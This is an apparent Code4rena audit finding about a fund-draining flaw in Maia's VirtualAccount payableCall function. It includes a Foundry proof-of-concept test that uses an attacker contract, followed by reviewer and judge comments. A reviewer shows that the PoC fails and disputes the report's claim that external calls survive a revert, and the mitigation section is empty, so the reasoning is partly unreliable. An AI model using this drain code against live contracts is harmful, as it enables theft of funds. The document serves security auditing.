Platform: Code4rena
Start Date: 22/09/2023
Pot Size: $100,000 USDC
Total HM: 15
Participants: 175
Period: 14 days
Judge: alcueca
Total Solo HM: 4
Id: 287
League: ETH
Rank: 157/175
Findings: 1
Award: $0.11
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: 0xTheC0der
Also found by: 0x180db, 0xDING99YA, 0xRstStn, 0xTiwa, 0xWaitress, 0xblackskull, 0xfuje, 3docSec, Aamir, Black_Box_DD, HChang26, Hama, Inspecktor, John_Femi, Jorgect, Kek, KingNFT, Kow, Limbooo, MIQUINHO, MrPotatoMagic, NoTechBG, Noro, Pessimistic, QiuhaoLi, SovaSlava, SpicyMeatball, T1MOH, TangYuanShen, Vagner, Viktor_Cortess, Yanchuan, _eperezok, alexweb3, alexxander, ast3ros, ayden, bin2chen, blutorque, btk, ciphermarco, ether_sky, gumgumzum, gztttt, hals, imare, its_basu, joaovwfreire, josephdara, klau5, kodyvim, ladboy233, marqymarq10, mert_eren, minhtrng, n1punp, nobody2018, oada, orion, peakbolt, peritoflores, perseverancesuccess, pfapostol, rvierdiiev, stuxy, tank, unsafesol, ustas, windhustler, zambody, zzzitron
0.1127 USDC - $0.11
https://github.com/code-423n4/2023-09-maia/blob/main/src/VirtualAccount.sol#L85 https://github.com/code-423n4/2023-09-maia/blob/main/src/VirtualAccount.sol#L101
In the virtual Account there is a vulnerability in the payablecall function where attackers can drain the contract using external contracts. The vulnerability comes in the _call.target.call{value: val}(_call.callData)
where the val is defined as call.value inputted by an arbitrary user which would be paid by the contract. The initial msg.value does not necessarily have to be up to the sum of the _call.value in the calls as the check is done in the end after contract drains have been completed.
Here is a sample POC test
// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; import "../helpers/ImportHelper.sol"; contract BadContract { receive() external payable{} function call() external payable returns(bool, bytes memory){ address(this).call{value:msg.value}(""); console2.log(msg.value); return (true, bytes("")); } } contract MainContractTest is Test { VirtualAccount mainContract; BadContract badContract; constructor() { mainContract = new VirtualAccount(address(0), address(10)); badContract = new BadContract(); } function testPayableCall() public { // Fund the main contract with about 10eth vm.deal(address(mainContract), 10 ether); // Create a data call of length 10 to the bad contract with call.value as 210000 PayableCall[] memory calls = new PayableCall[](10); for (uint256 i = 0; i < 10; i++) { bytes memory callData = abi.encodeWithSignature("call()"); calls[i] = PayableCall({target: address(badContract), value: 0.1 ether, callData: callData}); } // Call the payableCall() function of the main contract try mainContract.payableCall{value: 0.1 ether}(calls){ //expected to fail }catch{} // Check the balance of the bad contract uint256 badContractBalance = address(badContract).balance; assertEq(badContractBalance, 1 ether); } }
What this test shows is we have a sample virtual account, an attacker can drain the account using the _call.target.call. Even though the contract reverts the external calls will not be reverted.
this can be taken further with the attacking contract re-entering the VirtualAccount and drain it continuously until out-of-gas error.
Manual Review
I recommend the following mitigation steps:
ETH-Transfer
#0 - c4-pre-sort
2023-10-08T14:25:29Z
0xA5DF marked the issue as low quality report
#1 - 0xA5DF
2023-10-08T14:26:03Z
Even though the contract reverts the external calls will not be reverted.
I doubt this, the PoC has failed:
Error: a == b not satisfied [uint] Left: 0 Right: 1000000000000000000
#2 - 0xA5DF
2023-10-08T14:28:04Z
Side note: there's a missing import, here's the full code
File: test/ulysses-omnichain/myTests/drain.t.sol
// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; import "../helpers/ImportHelper.sol"; import "src/VirtualAccount.sol"; contract BadContract { receive() external payable{} function call() external payable returns(bool, bytes memory){ address(this).call{value:msg.value}(""); console2.log(msg.value); return (true, bytes("")); } } contract MainContractTest is Test { VirtualAccount mainContract; BadContract badContract; constructor() { mainContract = new VirtualAccount(address(0), address(10)); badContract = new BadContract(); } function testPayableCall() public { // Fund the main contract with about 10eth vm.deal(address(mainContract), 10 ether); // Create a data call of length 10 to the bad contract with call.value as 210000 PayableCall[] memory calls = new PayableCall[](10); for (uint256 i = 0; i < 10; i++) { bytes memory callData = abi.encodeWithSignature("call()"); calls[i] = PayableCall({target: address(badContract), value: 0.1 ether, callData: callData}); } // Call the payableCall() function of the main contract try mainContract.payableCall{value: 0.1 ether}(calls){ //expected to fail }catch{} // Check the balance of the bad contract uint256 badContractBalance = address(badContract).balance; assertEq(badContractBalance, 1 ether); } }
#3 - alcueca
2023-10-23T09:21:34Z
I think this is valid, and part of the group of duplicates about payableCall
missing the requiresApprovedCaller
modifier.
#4 - c4-judge
2023-10-23T15:21:56Z
alcueca marked the issue as duplicate of #888
#5 - c4-judge
2023-10-26T11:32:09Z
alcueca changed the severity to 3 (High Risk)
#6 - c4-judge
2023-10-26T11:35:22Z
alcueca marked the issue as satisfactory